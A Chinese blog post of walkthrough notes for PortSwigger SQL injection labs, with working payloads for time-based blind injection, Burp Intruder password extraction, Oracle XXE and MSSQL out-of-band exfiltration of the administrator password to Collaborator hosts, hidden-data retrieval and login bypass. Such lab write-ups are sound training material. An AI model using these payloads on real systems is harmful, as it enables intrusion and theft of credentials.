PortSwigger之SQL注入实验室笔记(三)

简介: PortSwigger之SQL注入实验室笔记

11 具有时间延迟的盲 SQL 注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。

解决实验室,利用SQL注入漏洞造成10秒延迟。

解决方案

  1. 访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。
  2. 修改TrackingIdcookie,将其更改为:TrackingId=x'||pg_sleep(10)--
  3. 提交请求并观察应用程序需要 10 秒的响应时间。

055843908dc98513d8e129fe76196ac5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827144143863

forward一下就OK了

12 具有时间延迟和信息检索的盲 SQL 注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。

数据库包含一个名为 的不同表users,其列名为username和password。您需要利用SQL盲注漏洞找出administrator用户的密码。

要解决实验室,请以administrator用户身份登录。

解决方案

访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。

修改TrackingIdcookie,将其更改为:x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--。验证应用程序需要 10 秒的响应时间。

0a4915af76448068a2c42a8fd4c17e91_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210903160809574

现在将其更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--。验证应用程序是否立即响应,没有时间延迟。这演示了如何测试单个布尔条件并推断结果。

1=1为真,延时10s

d30712c0cb872474e3390f919e05b37f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904003940886

1=2为假,不延时

01e164b5694456f9d2ad6d01ec1c3ade_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904004023082

现在将其更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。验证条件是否为真,确认存在名为 的用户administrator。

5be53aa1c8ad323a523506b38fcfac80_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904004201164

下一步是确定administrator用户的密码中有多少个字符。为此,请将值更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。此条件为真,说明密码长度大于 1 个字符。

bb2dfc12ea3ab4b1c45079d4a7b5cb99_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904004634653

发送一系列后续值来测试不同的密码长度。发送:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。然后发送:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即应用程序立即响应而没有时间延迟),您就确定了密码的长度,实际上是 20 个字符长。

1ba47bfe88592684ff5b86eed61e3b26_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904004832365

确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。

在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear”按钮清除默认的有效载荷位置。

在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--。这使用该SUBSTRING()函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。sleep时间修改为5s,10太久了,等不起

e9f19cf62d8c71ec8f6766422988a5d8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904010308843

第一个变量范围1-20

6be1f56fd37e911abd485aa5a9073ba6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904005811705

第二个变量范围0-9和a-z和A-Z

736369e2ac456bc7beb8f5be2e11d22d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904010005102

设置线程为1,大于1时,延时注入会出问题

6d67a07982ee37f5ec76b807c2ed6fc6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904010043122

开始攻击

勾选Columns的Response received,可以看到响应时间

492acc352efe219b8b88d4a19c703b56_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210904010339493

944e878322e312c3dcabd036097f908f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904010444168

剩下的交给时间~一共要跑8分钟左右,等待吧

按响应时间排序,选中大于5秒的高亮

228cc3c2f10ed8324044c4983a026640_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904014754024

仅显示高亮内容

8ac674deac23dffacf728cfc936f12c9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210904014820446

c9ff2fb4e4958168b47bf95e6c22c44f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904014436970

得到密码

klwpbqfvbp89fpro4mcm

在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

45598aa831d4091b15d88c255d62d735_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904014621142

13 带外交互的 SQL 盲注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用cookie的TrackingId 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。

为解决实验室问题,利用SQL 注入漏洞对 Burp Collaborator 进行 DNS 查找。

解决方案

TrackingId=glE0TyDtJb7YmBv1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://oogz2awwfyduijad55begf63xu3kr9.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

域名使用bp获得

91d991a459c31375a29bea52bcb95bad_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827163737683

点击copy获取url

18fb8ddc84730f9964e18a0eb8e96c19_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827163756483

020cf8215l92d7bwhispy1nh288ywn.burpcollaborator.net

替换到payload

TrackingId=glE0TyDtJb7YmBv1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://020cf8215l92d7bwhispy1nh288ywn.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

url编码后send

0849ac35d2f914732a7cc63b256c24dc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827163927811

点击poll now刷新信息

6aa16d119084e9dfd2a0eea91aa66e91_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210827163953091

26ac2cab9244868773c5df61b2777bf9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827164015770


确认触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中窃取数据。例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

此输入读取Administrator用户的密码,附加唯一的 Collaborator 子域,并触发 DNS 查找。这将导致如下所示的 DNS 查找,允许您查看捕获的密码:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

带外 (OAST) 技术是一种非常强大的检测和利用 SQL 盲注入的方法,因为成功的可能性很高,并且能够直接在带外通道内泄露数据。出于这个原因,即使在其他盲开发技术确实有效的情况下,OAST 技术通常也是可取的。

14 带外数据泄露的 SQL 盲注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用 cookie TrackingId进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。

数据库包含一个名为 的不同表users,其列名为username和password。您需要利用SQL盲注漏洞找出administrator用户的密码。

要解决实验室,请以administrator用户身份登录。

解决方案

带外数据泄露的 SQL 盲注入语句
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
查询oracle版本payload
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT version FROM v$instance)||'.mtjcevsoi237zk9akrffu9zuyl4bs0.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
查询密码的payload
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.mtjcevsoi237zk9akrffu9zuyl4bs0.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

oracle版本

3bd79420e3f26684328923c4a374b1d1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827165654961

获取密码

9d7b340c62bea35239a091bd2659f2d7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827165329503

得到密码administrator/miasvdbzu5zx47y9rdnh

f4cb749c2aee6d5a67f1e47eef5a20ab_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827165351856

登录

003b381e30673bb83e2604ec0a74974b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827165444744

15 WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。当用户选择一个类别时,应用程序会执行如下 SQL 查询:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

为了解决实验室问题,执行 SQL 注入攻击,使应用程序显示任何类别中所有产品的详细信息,包括已发布的和未发布的。

解决方案

进入实验室

1.使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。

2.修改category参数,赋予其值'+OR+1=1--或'+OR+'1'--

195df42d1d5d2f887ecde41e40c87efe_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731161805914

3.提交请求,并验证响应现在包含其他项目。

53f2b7191c2beee357b3623c1624e8f6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731161818521

16 SQL注入漏洞允许登录绕过

描述

本实验包含登录功能中的SQL 注入漏洞。

为了解决实验,执行 SQL 注入攻击,以administrator用户身份登录到应用程序。

解决方案

  1. 使用 Burp Suite 拦截和修改登录请求。
  2. 修改username参数,赋予其值:administrator'--或administrator' OR 1=1--,注意,这里的空格不能由+代替

1aa3311942dd2843839b11465f934d56_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731162549251

17 SQL备忘录xmind

这是我从sql备忘录中抄下来的xmind文档可用于查阅 链接:https://pan.baidu.com/s/1Y0wiiXVl75Q0-nDV2fT5QA 提取码:miss

相关文章
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
128 5
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
67 5
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
117 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
47 1
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
46 3
|
2月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
87 6
|
2月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
50 5
|
2月前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
4月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
113 13
|
4月前
|
SQL
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。